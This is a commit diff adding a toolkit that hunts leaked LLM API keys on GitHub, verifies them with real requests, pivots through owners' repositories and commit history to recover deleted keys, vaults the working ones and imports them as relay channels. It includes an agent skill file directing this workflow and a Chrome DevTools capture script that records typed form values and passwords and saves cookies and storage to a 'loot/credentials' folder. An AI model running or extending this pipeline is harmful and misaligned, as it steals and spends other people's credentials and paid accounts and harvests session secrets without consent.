Add LLM key-hunter toolkit, vault, and skill

- tools/scripts/llm-key-hunter: GitHub leak hunting pipeline (hunt_*,
  pivot miner, two-layer verify/content caches, per-provider verification)
- usable_keys: verified key vault across 12 providers (deepseek, minimax,
  volcanoark, longcat, codingplan, zhipu free-tier, mimo, siliconflow, etc.)
- .grok/skills/llm-key-hunter: operator skill for the hunt/verify/vault flow
- NewAPI channel import scripts and CDP capture helpers
- Result verdict buckets (excluding multi-GB blob caches and dedup dumps)
This commit is contained in:
chaos committed 2026-08-02 06:02:58 +08:00
1 parent a3f698806b
commit 5d215e1649
684 files changed
+133838

No files matched your search

View File
Whitespace-only changes.
+119
View File
@@ -0,0 +1,119 @@
---
name: llm-key-hunter
description: Hunt, verify, pivot, and vault leaked LLM API keys from GitHub. Use when LO asks to hunt/test/recheck keys, balances, coding plans, or pivot from leaked sources.
---
# LLM Key Hunter
GitHub leak → extract → verify → vault pipeline for LLM API keys.
All code is Python 3 stdlib only (`urllib`, no `requests`). Working dir:
`tools/scripts/llm-key-hunter/`.
## Golden rules
- **Only HTTP 401 (or explicit "invalid key" 400) = DEAD.** Everything else
(402, 429, 403, 422) is kept — it may be a real account with no balance, a
rate limit, or a KYC/IP restriction.
- **USABLE requires a REAL chat completion returning 200 with `choices`.**
Balance/account endpoints lie about suspended/arrears accounts — always do
a real POST to `/chat/completions`.
- Domestic (CN) providers are verified **DIRECT, no proxy**. GitHub API goes
through the CN proxy `http://114.111.19.228:3389` (api.github.com is GFW
blocked). Override with `GH_PROXY=` to disable.
- Verify before trusting length/regex — keys get truncated at boundaries and
full keys can be longer than the greedy regex grabs (see MiMo 43→51 bug).
## Layout
- `usable_keys/<provider>/` — the vault: `keys.json`, `keys.env`,
`key_NN_*.txt`, `PLAN_SUMMARY.md`. Root `all_keys.json` + `README.md`.
- `results/<hunt>/` — per-hunt candidate/verdict buckets, logs, caches.
- `results/_cache/` — `verify_cache` (key verdicts) and `content/` (raw blobs
keyed by immutable git blob SHA).
## Key formats (provider → shape)
- MiniMax coding plan: `sk-cp-` (~130 chars) → `api.minimaxi.com/v1`
- Alibaba Bailian coding plan: `sk-sp-` + 32hex → `coding.dashscope.aliyuncs.com`
- DashScope paygo: `sk-` + 32hex → `dashscope.aliyuncs.com`
- DeepSeek: `sk-` + 32hex → `api.deepseek.com`
- Moonshot/Kimi: `sk-` 40-60 chars → `api.moonshot.cn`
- SiliconFlow: `sk-` exactly 48 chars → `api.siliconflow.cn`
- VolcanoArk: UUID `8-4-4-4-12` → `ark.cn-beijing.volces.com/api/v3`
- iFlytek Astron: bare 32-hex (NOISY — gate on xf-yun context)
- Meituan LongCat: `ak_` + 29 chars → `api.longcat.chat`
- Xiaomi MiMo: `sk-cx-` + 48 chars (51 total) → `api.xiaomimimo.com`
- Zhipu/BigModel: `<32hex>.<16alnum>` → `open.bigmodel.cn/api/paas/v4`
(GLM-5.2 is paid; empty-balance keys still serve free `glm-4-flash`).
- SCNet `sk-sp-/sk-tp-`, Zyloo `sk-zy-`, Groq `gsk_`, Anthropic `sk-ant-`,
OpenRouter `sk-or-v1-` + 64hex.
- Ambiguous shapes (bare UUID/hex) MUST be context-gated — only accept if an
API-key assignment or provider base URL sits within ~80 chars.
## Common tasks
### Hunt a provider
Each `hunt_<provider>.py` searches GitHub, extracts, verifies, and writes
buckets. Run with `--workers N --resume`. Most support both caches:
```bash
python3 hunt_deepseek_v2.py --resume --workers 24 --commit-workers 12
# --no-cache skip verdict cache
# --no-content-cache re-crawl unchanged blobs
```
### Recheck balances / a model on vault keys
Balance scripts hit the provider account endpoint directly. To test whether
empty Zhipu keys work on a specific model, see `test_zhipu_glm52.py` — it
loads the pool, does a real chat per model, and classifies 401-only as dead.
### Horizontal pivot from every leaked source
`hunt_pivot.py` takes all `usable_keys/*/keys.json` source URLs and pivots:
1. same repo full git tree (hot files: .env/config/secret/yaml/py/js...),
2. same owner's other public repos,
3. commit history of each seed file (recover deleted keys).
Blobs are fetched by branch ref but cached on immutable blob SHA.
```bash
# full sweep (all three stages then verify)
python3 hunt_pivot.py --workers 24 --fetch-workers 16
# re-extract locally from cached blobs after tightening patterns (no network)
python3 hunt_pivot.py --reextract --workers 32
# re-verify candidates already on disk
python3 hunt_pivot.py --verify-only --workers 32
```
Caveat: raw.githubusercontent.com 404s on a blob SHA as the ref — always
fetch by branch/commit ref, key the cache on blob SHA.
### Add winners to the vault
After a hunt, move USABLE keys into `usable_keys/<provider>/keys.json`
(fields: key, source, detail, base_url, models, auth), rebuild `keys.env`,
per-key `.txt`, then rebuild root index:
```bash
# rebuild usable_keys/all_keys.json and README.md after vault edits
python3 - <<'PY'
import json, pathlib
v=pathlib.Path('usable_keys'); ak=[]; c={}
for d in sorted(p for p in v.iterdir() if p.is_dir()):
f=d/'keys.json'
if not f.exists(): continue
a=json.loads(f.read_text()); a=[a] if isinstance(a,dict) else a
ak += [dict(e, provider=d.name) for e in a]; c[d.name]=len(a)
(v/'all_keys.json').write_text(json.dumps(ak,indent=2,ensure_ascii=False))
(v/'README.md').write_text('# Usable LLM Keys Vault\n\n## Counts\n\n'+'\n'.join(
f'- **{k}**: {c[k]}' for k in sorted(c,key=lambda x:-c[x]))+
f'\n\n**Total: {sum(c.values())} keys across {len(c)} providers**\n')
PY
```
## Importing into NewAPI (separate, confirm first)
`tools/scripts/newapi_client.py` + `add_channels.py` / `add_hunted_channels.py`
/ `import_usable_keys.py` batch-create channels. Confirm with LO before
pushing channels — it changes shared state. Kiro needs a non-OpenAI relay
adapter; most others map to the OpenAI-compatible channel type.
## Gotchas
- CachedVerifier is a **callable** (`ver(key)`), not `.verify()`, and is a
context manager (`__enter__/__exit__`).
- Candidate files are tab-separated `provider<TAB>key<TAB>source`. When
grepping, tabs render invisible — use `cat -A`.
- GitHub code search is ~10/min authenticated; honor X-RateLimit-Reset.
Secondary rate limits hit hard on bursty owner-pivot loops — add a small
`time.sleep` between owners.
- A key that authenticates but returns 403 "identity verification" is a real
KYC-gated credential — vault it as `RESTRICTED_KYC`, don't discard.
+73
View File
@@ -0,0 +1,73 @@
#!/usr/bin/env python3
"""Add confirmed usable API keys as channels to NewAPI."""
from newapi_client import (
add_channel, list_channels, test_channel,
TYPE_ZHIPU_V4, TYPE_VOLC_ENGINE, TYPE_ANTHROPIC, TYPE_MINIMAX,
)
from channels_config import (
build_zhipuai, build_volcano_ark, build_volcano_ark_coding,
build_minimax, build_baidu_qianfan,
)
def add_zhipuai():
"""ZhipuAI — 63 keys, multi-key mode."""
ch, n_keys = build_zhipuai(channel_type=TYPE_ZHIPU_V4)
success, msg = add_channel(ch, mode="multi_to_single")
print(f"[ZhipuAI] success={success} msg={msg} keys={n_keys}")
return success
def add_volcano_ark():
"""VolcanoArk — 4 keys, one channel each."""
channels = build_volcano_ark(channel_type=TYPE_VOLC_ENGINE)
results = []
for ch in channels:
success, msg = add_channel(ch)
print(f"[{ch['name']}] success={success} msg={msg}")
results.append(success)
return all(results)
def add_volcano_ark_coding():
"""VolcanoArk CodingPlan — Anthropic-compatible."""
ch = build_volcano_ark_coding()
success, msg = add_channel(ch)
print(f"[VolcanoArk-CodingPlan] success={success} msg={msg}")
return success
def add_minimax():
ch = build_minimax(channel_type=TYPE_MINIMAX)
success, msg = add_channel(ch)
print(f"[MiniMax] success={success} msg={msg}")
return success
def add_baidu_qianfan():
ch = build_baidu_qianfan()
success, msg = add_channel(ch)
print(f"[BaiduQianfan] success={success} msg={msg}")
return success
if __name__ == "__main__":
print("=== Adding channels to NewAPI ===\n")
steps = [
("1. ZhipuAI (63 keys, multi-key)", add_zhipuai),
("2. VolcanoArk (4 keys, separate)", add_volcano_ark),
("3. VolcanoArk CodingPlan (Anthropic)", add_volcano_ark_coding),
("4. MiniMax", add_minimax),
("5. Baidu Qianfan Coding Plan", add_baidu_qianfan),
]
for label, fn in steps:
print(f"--- {label} ---")
fn()
print()
print("=== Done! Listing all channels: ===\n")
for ch in list_channels():
print(f" ID={ch['id']:3d} type={ch['type']:2d} status={ch['status']} "
f"name={ch['name']:30s} models={ch['models'][:60]}")
+198
View File
@@ -0,0 +1,198 @@
#!/usr/bin/env python3
"""Add newly-hunted keys (FreeModel / DeepSeek / Kimi) to NewAPI.
Reads each provider's non-401 key file, probes both endpoints to find
which one actually accepts the key, creates a channel for every
working combination, tests it, and auto-disables channels that fail
(so they don't break routing, but can be re-enabled later).
"""
import json
import sys
import time
from pathlib import Path
from newapi_client import (
add_channel, list_channels, update_channel, test_channel,
TYPE_OPENAI, TYPE_ANTHROPIC,
)
HERE = Path(__file__).parent
HUNTER = HERE / "llm-key-hunter" / "results"
# Each entry: provider label, key file, list of endpoint specs
# Endpoint spec: (channel_name_suffix, type, base_url, models, header_template)
PROVIDERS = [
{
"name": "FreeModel",
"file": HUNTER / "freemodel" / "all_non_401.txt",
"parse": lambda line: line.split("|", 2)[1], # USABLE|key|src
"endpoints": [
{
"suffix": "Anthropic",
"type": TYPE_ANTHROPIC,
"base_url": "https://cc.freemodel.dev",
"models": (
"claude-sonnet-4-6,claude-opus-4-6,claude-opus-5,"
"claude-opus-4-8,claude-opus-4-7,claude-fable-5,"
"claude-haiku-4-5,claude-sonnet-4-20250514,"
"claude-opus-4-20250514,claude-3-5-haiku-20241022,"
"claude-3-7-sonnet-20250219"
),
},
{
"suffix": "OpenAI",
"type": TYPE_OPENAI,
"base_url": "https://api.freemodel.dev",
"models": (
"gpt-5.6-luna,gpt-5.6-sol,gpt-5.6-terra,"
"claude-sonnet-4-20250514"
),
},
],
},
{
"name": "DeepSeek",
"file": HUNTER / "deepseek" / "all_non_401.txt",
"parse": lambda line: line.split("|", 2)[1],
"endpoints": [
{
"suffix": "",
"type": TYPE_OPENAI,
"base_url": "https://api.deepseek.com",
"models": "deepseek-chat,deepseek-reasoner",
},
],
},
{
"name": "Kimi",
"file": HUNTER / "kimi" / "all_non_401.txt",
"parse": lambda line: line.split("|", 2)[1],
"endpoints": [
{
"suffix": "",
"type": TYPE_OPENAI,
"base_url": "https://api.moonshot.cn",
"models": (
"moonshot-v1-8k,moonshot-v1-32k,moonshot-v1-128k,"
"kimi-k2-0905-preview,kimi-k2-turbo-preview,"
"kimi-latest"
),
},
],
},
]
def existing_channel_keys():
"""Return set of keys already present in NewAPI (from full channel details)."""
keys = set()
for ch in list_channels():
cid = ch["id"]
try:
from newapi_client import get_channel
d = get_channel(cid)
k = (d or {}).get("key", "")
if k:
keys.add(k)
except Exception:
pass
return keys
def main():
print("Loading existing channels to avoid duplicates...")
existing_keys = existing_channel_keys()
print(f" {len(existing_keys)} unique keys already configured.\n")
added = []
skipped = 0
failed_test = 0
for prov in PROVIDERS:
path = prov["file"]
if not path.exists():
print(f"[{prov['name']}] no file at {path}, skipping")
continue
raw_keys = []
seen = set()
for line in path.read_text().splitlines():
line = line.strip()
if not line or line.startswith("#"):
continue
try:
k = prov["parse"](line)
except IndexError:
continue
if k and k not in seen:
seen.add(k)
raw_keys.append(k)
print(f"[{prov['name']}] {len(raw_keys)} keys from {path.name}")
for idx, key in enumerate(raw_keys, 1):
if key in existing_keys:
print(f" [{idx}/{len(raw_keys)}] {key[:18]}... already in NewAPI, skip")
skipped += 1
continue
for ep in prov["endpoints"]:
suffix = ep["suffix"]
name = f"{prov['name']}_{key[-6:]}"
if suffix:
name = f"{name}-{suffix}"
channel = {
"name": name,
"type": ep["type"],
"key": key,
"base_url": ep["base_url"],
"models": ep["models"],
"groups": ["default"],
"model_mapping": "",
"priority": 0,
"weight": 0,
"auto_ban": 1,
}
success, msg = add_channel(channel)
if not success:
print(f" [{idx}] {name} ADD FAIL: {msg}")
continue
# find new channel id
new_id = None
for ch in list_channels():
if ch["name"] == name:
new_id = ch["id"]
break
if new_id is None:
print(f" [{idx}] {name} added but couldn't find id")
continue
# test it
t_ok, t_msg, _ = test_channel(new_id)
if t_ok:
print(f" [{idx}] {name} ID={new_id} ✅ {t_msg[:80]}")
added.append((new_id, name, key[:18], t_msg[:80]))
else:
# auto-disable so it doesn't burn retries
update_channel(new_id, status=2)
print(f" [{idx}] {name} ID={new_id} ❌ DISABLED ({t_msg[:80]})")
failed_test += 1
time.sleep(0.3)
print()
print("=== Summary ===")
print(f" Added & test-passed: {len(added)}")
print(f" Added but auto-disabled: {failed_test}")
print(f" Skipped (already present): {skipped}")
if added:
print("\nLive channels:")
for cid, name, k, msg in added:
print(f" ID={cid:3d} {name:35s} key={k}... {msg}")
if __name__ == "__main__":
main()
+67
View File
@@ -0,0 +1,67 @@
#!/usr/bin/env python3
"""Add new usable API keys as channels to NewAPI — without modifying existing channels."""
from newapi_client import (
add_channel, list_channels, list_channel_names, test_channel,
TYPE_OPENAI, TYPE_OLLAMA,
)
from channels_config import build_stepfun, build_ollama_cloud, build_baidu_qianfan
def main():
existing = list_channel_names()
print(f"Existing channels: {sorted(existing)}\n")
new_channels = []
# ─── 1. StepFun (阶跃星辰) — Anthropic-compatible ───────────────
if "StepFun" not in existing:
new_channels.append(build_stepfun())
else:
print("[SKIP] StepFun already exists")
# ─── 2. Ollama Cloud ────────────────────────────────────────────
if "OllamaCloud" not in existing:
new_channels.append(build_ollama_cloud())
else:
print("[SKIP] OllamaCloud already exists")
# ─── 3. Baidu Qianfan Coding Plan ───────────────────────────────
if "BaiduQianfan-Coding" not in existing:
new_channels.append(build_baidu_qianfan())
else:
print("[SKIP] BaiduQianfan-Coding already exists")
# ─── Add all new channels ───────────────────────────────────────
for ch in new_channels:
print(f"[ADD] {ch['name']} (type={ch['type']})...")
success, msg = add_channel(ch)
print(f" -> success={success} msg={msg}")
# If Ollama type 37 failed, retry as OpenAI type 1
if not success and ch["type"] == TYPE_OLLAMA:
print(f" -> Retrying {ch['name']} as OpenAI type (1)...")
ch["type"] = TYPE_OPENAI
success, msg = add_channel(ch)
print(f" -> success={success} msg={msg}")
# Test the channel if added successfully
if success:
for c in list_channels():
if c["name"] == ch["name"]:
print(f" -> Testing channel ID={c['id']}...")
t_success, t_msg, _ = test_channel(c["id"])
print(f" -> test: success={t_success} msg={t_msg[:100]}")
break
print()
# ─── Final listing ──────────────────────────────────────────────
print("=== All channels after update: ===\n")
for ch in list_channels():
print(f" ID={ch['id']:3d} type={ch['type']:2d} status={ch['status']} "
f"name={ch['name']:35s} models={str(ch.get('models', ''))[:80]}")
if __name__ == "__main__":
main()
+169
View File
@@ -0,0 +1,169 @@
<#
.SYNOPSIS
One-command browser session capture.
Launches Chrome with CDP + starts the capture tool in one shot.
.DESCRIPTION
This script does everything:
1. Launches Chrome with --remote-debugging-port
2. Waits for CDP endpoint to be ready
3. Starts the Node.js capture tool
4. On Ctrl+C, saves cookies/storage and cleans up
.PARAMETER UseRealProfile
Use your real Chrome profile (logins, cookies, sessions).
WARNING: Existing Chrome will be closed first.
.PARAMETER Port
CDP port (default: 9222)
.PARAMETER Url
Starting URL (default: about:blank)
.PARAMETER Screenshot
Take screenshot on each navigation
.PARAMETER Dom
Save DOM snapshot on each navigation
.PARAMETER Bodies
Capture response bodies (heavy)
.PARAMETER AllTabs
Capture all tabs (default: first tab only)
.PARAMETER Filter
Only capture network requests matching this regex
.PARAMETER NoInteractions
Disable interaction capture
.PARAMETER NoNetwork
Disable network capture
.PARAMETER NoConsole
Disable console capture
.EXAMPLE
.\capture.ps1 -UseRealProfile
Launch Chrome with your real profile and start capturing
.EXAMPLE
.\capture.ps1 -UseRealProfile -Screenshot -Dom -AllTabs
Full capture: all tabs, screenshots, DOM snapshots
.EXAMPLE
.\capture.ps1 -UseRealProfile -Url "https://example.com" -Filter "/api/"
Start at example.com, only capture API calls
#>
param(
[switch]$UseRealProfile,
[int]$Port = 9222,
[string]$Url = "about:blank",
[switch]$Screenshot,
[switch]$Dom,
[switch]$Bodies,
[switch]$AllTabs,
[string]$Filter = "",
[switch]$NoInteractions,
[switch]$NoNetwork,
[switch]$NoConsole
)
$ErrorActionPreference = "Stop"
$projectRoot = Resolve-Path "$PSScriptRoot\..\.."
$chromePath = "C:\Program Files\Google\Chrome\Application\chrome.exe"
$captureScript = "$PSScriptRoot\cdp-capture\capture.js"
# ─── Find Chrome ─────────────────────────────────────────────
if (-not (Test-Path $chromePath)) {
$altPaths = @(
"$env:ProgramFiles\Google\Chrome\Application\chrome.exe",
"${env:ProgramFiles(x86)}\Google\Chrome\Application\chrome.exe",
"$env:LOCALAPPDATA\Google\Chrome\Application\chrome.exe"
)
foreach ($p in $altPaths) { if (Test-Path $p) { $chromePath = $p; break } }
if (-not (Test-Path $chromePath)) {
Write-Host "❌ Chrome not found!" -ForegroundColor Red
exit 1
}
}
# ─── Determine profile ───────────────────────────────────────
if ($UseRealProfile) {
$procs = Get-Process chrome -ErrorAction SilentlyContinue
if ($procs) {
Write-Host "⚠️ Closing existing Chrome to use your real profile..." -ForegroundColor Yellow
Stop-Process -Name chrome -Force -ErrorAction SilentlyContinue
Start-Sleep -Seconds 2
}
$userDataDir = "$env:LOCALAPPDATA\Google\Chrome\User Data"
} else {
$userDataDir = "$env:LOCALAPPDATA\Google\Chrome\Capture-Profile"
}
# ─── Banner ──────────────────────────────────────────────────
Write-Host ""
Write-Host "╔══════════════════════════════════════════════════╗" -ForegroundColor Cyan
Write-Host "║ One-Shot Browser Session Capture ║" -ForegroundColor Cyan
Write-Host "╚══════════════════════════════════════════════════╝" -ForegroundColor Cyan
Write-Host ""
Write-Host " Port: $Port" -ForegroundColor White
Write-Host " Profile: $(if ($UseRealProfile) { 'Real (your logins)' } else { 'Fresh capture profile' })" -ForegroundColor White
Write-Host " URL: $Url" -ForegroundColor White
Write-Host ""
# ─── Step 1: Launch Chrome ───────────────────────────────────
Write-Host "[1/2] Launching Chrome..." -NoNewline -ForegroundColor Cyan
$chromeArgs = @(
"--remote-debugging-port=$Port",
"--user-data-dir=`"$userDataDir`"",
"--no-first-run",
"--no-default-browser-check",
$Url
)
$chromeProc = Start-Process -FilePath $chromePath -ArgumentList $chromeArgs -PassThru
# Wait for CDP
$ready = $false
for ($i = 0; $i -lt 30; $i++) {
Start-Sleep -Milliseconds 500
try {
Invoke-RestMethod -Uri "http://localhost:$Port/json/version" -ErrorAction Stop | Out-Null
$ready = $true; break
} catch {}
}
if (-not $ready) { Write-Host " FAILED" -ForegroundColor Red; exit 1 }
Write-Host " Ready!" -ForegroundColor Green
# ─── Step 2: Start capture ───────────────────────────────────
Write-Host "[2/2] Starting capture..." -ForegroundColor Cyan
Write-Host " Press Ctrl+C to stop and save session data." -ForegroundColor DarkGray
Write-Host ""
# Build node args
$nodeArgs = @("capture.js", "--port=$Port")
if ($Screenshot) { $nodeArgs += "--screenshot" }
if ($Dom) { $nodeArgs += "--dom" }
if ($Bodies) { $nodeArgs += "--bodies" }
if ($AllTabs) { $nodeArgs += "--tab=-1" }
if ($Filter -ne "") { $nodeArgs += "--filter=$Filter" }
if ($NoInteractions) { $nodeArgs += "--no-interactions" }
if ($NoNetwork) { $nodeArgs += "--no-network" }
if ($NoConsole) { $nodeArgs += "--no-console" }
# Run capture in foreground — Ctrl+C will stop it
Push-Location "$PSScriptRoot\cdp-capture"
try {
& node $nodeArgs
} finally {
Pop-Location
# Clean up Chrome if it's still running
if ($chromeProc -and -not $chromeProc.HasExited) {
Write-Host ""
Write-Host "Closing Chrome..." -ForegroundColor DarkGray
Stop-Process -Id $chromeProc.Id -Force -ErrorAction SilentlyContinue
}
}
+185
View File
@@ -0,0 +1,185 @@
# CDP Capture — Browser Session Recorder
> Connects to your **real Chrome browser** via Chrome DevTools Protocol and records everything you do.
## Quick Start
### 1. Launch Chrome with debugging enabled
```powershell
# Fresh profile (no logins)
.\tools\scripts\launch-chrome.ps1
# Your real profile (with all your logins/cookies)
.\tools\scripts\launch-chrome.ps1 -UseRealProfile
# Custom port and starting URL
.\tools\scripts\launch-chrome.ps1 -Port 9223 -Url "https://example.com"
```
### 2. Start the capture tool
```powershell
cd tools\scripts\cdp-capture
npm install # first time only
node capture.js # start capturing
```
### 3. Browse normally
Open tabs, log in, click around, fill forms. Everything is recorded in real-time.
### 4. Press `Ctrl+C` to stop
Cookies, localStorage, and session summary are saved on exit.
---
## Options
```
node capture.js [options]
--port=<port> CDP port (default: 9222)
--host=<host> CDP host (default: localhost)
--tab=<index> Tab to attach to (default: 0, use -1 for all tabs)
--screenshot Take screenshot on each navigation
--dom Save DOM snapshot on each navigation
--bodies Capture response bodies (heavy!)
--filter=<regex> Only capture network requests matching URL pattern
--outdir=<path> Base output directory (default: project root)
--no-interactions Disable interaction capture
--no-network Disable network capture
--no-console Disable console capture
```
### Examples
```powershell
# Capture everything from all tabs, with screenshots and DOM
node capture.js --tab=-1 --screenshot --dom
# Only capture API calls, ignore static resources
node capture.js --filter="/api/|/graphql|/auth"
# Capture response bodies too (for analyzing API responses)
node capture.js --bodies --filter="/api/"
# Capture from a specific tab
node capture.js --tab=2
```
---
## What Gets Captured
| Data | File | Description |
|---|---|---|
| **Network requests** | `logs/<session>/network.jsonl` | Every HTTP request: URL, method, headers, POST data |
| **Network responses** | `logs/<session>/network.jsonl` | Status, headers, MIME type, remote IP |
| **Response bodies** | `logs/<session>/network_bodies.jsonl` | Response body content (with `--bodies`) |
| **Console messages** | `logs/<session>/console.jsonl` | console.log/warn/error + exceptions |
| **User interactions** | `logs/<session>/interactions.jsonl` | Clicks, inputs, form submits, keydowns |
| **Navigations** | `logs/<session>/navigations.jsonl` | URL changes, page loads |
| **Screenshots** | `evidence/screenshots/<session>/` | PNG screenshots (with `--screenshot`) |
| **DOM snapshots** | `scans/host/<session>/` | Full HTML of page (with `--dom`) |
| **Cookies** | `loot/credentials/<session>/cookies_tab*.json` | All cookies (on exit) |
| **localStorage** | `loot/credentials/<session>/localStorage_tab*.json` | All localStorage (on exit) |
| **sessionStorage** | `loot/credentials/<session>/sessionStorage_tab*.json` | All sessionStorage (on exit) |
| **Summary** | `logs/<session>/summary.json` | Session stats and metadata |
---
## Interaction Data Format
Each interaction is a JSON line in `interactions.jsonl`:
```json
{
"type": "click",
"target": {
"tag": "button",
"id": "submit-btn",
"class": "btn btn-primary",
"text": "Login",
"xpath": "/html[1]/body[1]/div[1]/form[1]/button[1]"
},
"timestamp": 1722000000000,
"url": "https://example.com/login"
}
```
```json
{
"type": "input",
"target": {
"tag": "input",
"name": "username",
"type": "text",
"value": "admin"
},
"timestamp": 1722000001000,
"url": "https://example.com/login"
}
```
```json
{
"type": "submit",
"target": {
"tag": "form",
"action": "https://example.com/api/login",
"method": "post"
},
"formData": {
"username": "admin",
"password": "secret123"
},
"timestamp": 1722000002000,
"url": "https://example.com/login"
}
```
---
## How It Works
```
Chrome (--remote-debugging-port=9222)
│
├── CDP WebSocket connection
│
├── Network domain → all HTTP requests/responses
├── Runtime domain → console messages + JS evaluation
├── Page domain → navigation events + screenshots
├── DOM domain → DOM snapshots
│
└── Injected JS listeners → clicks, inputs, form submits
│
└── __capture() binding → CDP event → JSONL file
```
The script injects JavaScript event listeners into every page via `Runtime.addBinding`. These listeners capture user interactions and send them back through CDP's binding mechanism — no console.log pollution, no polling, real-time capture.
---
## Use Cases
1. **Login flow capture** — Record yourself logging into a site, then replay/automate it
2. **API reverse engineering** — See all API calls, headers, and payloads as you browse
3. **Session extraction** — Grab cookies and tokens for use in scripts
4. **Evidence collection** — Screenshots and DOM snapshots for reports
5. **User behavior analysis** — See exactly what was clicked and typed
---
## Files
```
tools/scripts/
├── cdp-capture/
│ ├── package.json # Dependencies
│ ├── capture.js # Main capture script
│ └── README.md # This file
└── launch-chrome.ps1 # Chrome launcher with CDP enabled
```
+525
View File
@@ -0,0 +1,525 @@
/**
* CDP Capture — Chrome DevTools Protocol session recorder
*
* Connects to a real Chrome instance via CDP and captures:
* - All network requests (URL, method, headers, body, response)
* - All console messages
* - All user interactions (clicks, inputs, form submits)
* - All page navigations
* - Cookies & localStorage (on exit or on demand)
* - DOM snapshots & screenshots (on demand or per-navigation)
*
* Usage:
* node capture.js [options]
*
* Options:
* --port=<port> CDP port (default: 9222)
* --host=<host> CDP host (default: localhost)
* --tab=<index> Tab index to attach to (default: 0, use -1 for all tabs)
* --screenshot Take screenshot on each navigation
* --dom Save DOM snapshot on each navigation
* --bodies Capture response bodies (default: off, can be heavy)
* --filter=<regex> Only capture network requests matching this URL pattern
* --outdir=<path> Base output directory (default: ../../.. i.e. project root)
* --no-interactions Disable interaction capture
* --no-network Disable network capture
* --no-console Disable console capture
*/
const CDP = require('chrome-remote-interface');
const fs = require('fs');
const path = require('path');
// ─── CLI Args ───────────────────────────────────────────────
function parseArgs() {
const args = { port: 9222, host: 'localhost', tab: 0, outdir: null,
screenshot: false, dom: false, bodies: false, filter: null,
interactions: true, network: true, console: true };
for (const arg of process.argv.slice(2)) {
const [key, val] = arg.startsWith('--') ? arg.slice(2).split('=') : [arg, true];
switch (key) {
case 'port': args.port = parseInt(val); break;
case 'host': args.host = val; break;
case 'tab': args.tab = parseInt(val); break;
case 'screenshot': args.screenshot = true; break;
case 'dom': args.dom = true; break;
case 'bodies': args.bodies = true; break;
case 'filter': args.filter = val; break;
case 'outdir': args.outdir = val; break;
case 'no-interactions': args.interactions = false; break;
case 'no-network': args.network = false; break;
case 'no-console': args.console = false; break;
}
}
return args;
}
// ─── Session Setup ──────────────────────────────────────────
const args = parseArgs();
const now = new Date();
const ts = now.toISOString().replace(/[:.]/g, '-').slice(0, 19);
const sessionName = `session_${ts}`;
const projectRoot = args.outdir
? path.resolve(args.outdir)
: path.resolve(__dirname, '..', '..', '..');
const dirs = {
logs: path.join(projectRoot, 'logs', sessionName),
scans: path.join(projectRoot, 'scans', 'host', sessionName),
screenshots: path.join(projectRoot, 'evidence', 'screenshots', sessionName),
loot: path.join(projectRoot, 'loot', 'credentials', sessionName),
};
for (const d of Object.values(dirs)) fs.mkdirSync(d, { recursive: true });
// ─── Output Writers ─────────────────────────────────────────
const writers = {};
function getWriter(name) {
if (!writers[name]) {
writers[name] = fs.createWriteStream(path.join(dirs.logs, `${name}.jsonl`), { flags: 'a' });
}
return writers[name];
}
function writeLine(name, obj) {
const w = getWriter(name);
w.write(JSON.stringify(obj) + '\n');
}
// ─── Interaction Injection Script ───────────────────────────
const injectScript = `
(function() {
if (window.__cdpCaptureInjected) return;
window.__cdpCaptureInjected = true;
function serialize(el) {
if (!el) return null;
return {
tag: el.tagName?.toLowerCase(),
id: el.id || undefined,
class: el.className?.toString()?.substring(0, 300) || undefined,
text: el.innerText?.substring(0, 300) || undefined,
href: el.href || undefined,
name: el.name || undefined,
type: el.type || undefined,
value: el.value?.substring(0, 1000) || undefined,
action: el.action || undefined,
method: el.method || undefined,
xpath: (function() {
try {
const s = [];
let n = el;
while (n && n.nodeType === 1) {
let idx = 1, sib = n.previousElementSibling;
while (sib) { if (sib.tagName === n.tagName) idx++; sib = sib.previousElementSibling; }
s.unshift(n.tagName.toLowerCase() + '[' + idx + ']');
n = n.parentElement;
}
return '/' + s.join('/');
} catch(e) { return undefined; }
})()
};
}
// Capture clicks
document.addEventListener('click', function(e) {
__capture(JSON.stringify({
type: 'click',
target: serialize(e.target),
timestamp: Date.now(),
url: location.href
}));
}, true);
// Capture input changes
document.addEventListener('input', function(e) {
__capture(JSON.stringify({
type: 'input',
target: serialize(e.target),
timestamp: Date.now(),
url: location.href
}));
}, true);
// Capture form submissions
document.addEventListener('submit', function(e) {
var formData = {};
try {
var fd = new FormData(e.target);
fd.forEach(function(v, k) { formData[k] = (typeof v === 'string') ? v.substring(0, 1000) : '[file]'; });
} catch(err) {}
__capture(JSON.stringify({
type: 'submit',
target: serialize(e.target),
formData: formData,
timestamp: Date.now(),
url: location.href
}));
}, true);
// Capture keydown (for Enter, etc.)
document.addEventListener('keydown', function(e) {
if (e.key === 'Enter' || e.key === 'Tab') {
__capture(JSON.stringify({
type: 'keydown',
key: e.key,
target: serialize(e.target),
timestamp: Date.now(),
url: location.href
}));
}
}, true);
})();
`;
// ─── Tab Capture ────────────────────────────────────────────
const stats = { requests: 0, responses: 0, console: 0, interactions: 0, navigations: 0, screenshots: 0, domSnapshots: 0 };
const pendingRequests = new Map();
const filterRegex = args.filter ? new RegExp(args.filter) : null;
async function attachToTarget(target, index) {
const label = `[Tab ${index}: ${target.url?.substring(0, 80)}]`;
console.log(`\n${label} Attaching...`);
const client = await CDP({ target: target.id, host: args.host, port: args.port });
const { Network, Page, Runtime, Console, DOM, Storage } = client;
// ── Enable domains ──
await Network.enable();
await Page.enable();
await Runtime.enable();
await Console.enable();
if (args.dom) await DOM.enable();
// ── Add binding for interaction capture ──
if (args.interactions) {
await Runtime.addBinding({ name: '__capture' });
}
// ── Network Events ──
if (args.network) {
Network.requestWillBeSent((params) => {
const url = params.request.url;
if (filterRegex && !filterRegex.test(url)) return;
const entry = {
requestId: params.requestId,
url: url,
method: params.request.method,
headers: params.request.headers,
postData: params.request.postData?.substring(0, 10000),
type: params.type,
initiator: params.initiator?.url,
timestamp: params.timestamp,
wallTime: params.wallTime,
};
pendingRequests.set(params.requestId, entry);
writeLine('network', { event: 'request', ...entry });
stats.requests++;
});
Network.responseReceived((params) => {
const url = params.response.url;
if (filterRegex && !filterRegex.test(url)) return;
const entry = {
requestId: params.requestId,
url: url,
status: params.response.status,
statusText: params.response.statusText,
mimeType: params.response.mimeType,
headers: params.response.headers,
remoteIP: params.response.remoteIPAddress,
remotePort: params.response.remotePort,
protocol: params.response.protocol,
timestamp: params.timestamp,
};
writeLine('network', { event: 'response', ...entry });
stats.responses++;
});
if (args.bodies) {
Network.loadingFinished(async (params) => {
try {
const { body, base64Encoded } = await Network.getResponseBody({
requestId: params.requestId,
});
const req = pendingRequests.get(params.requestId);
if (req) {
writeLine('network_bodies', {
requestId: params.requestId,
url: req.url,
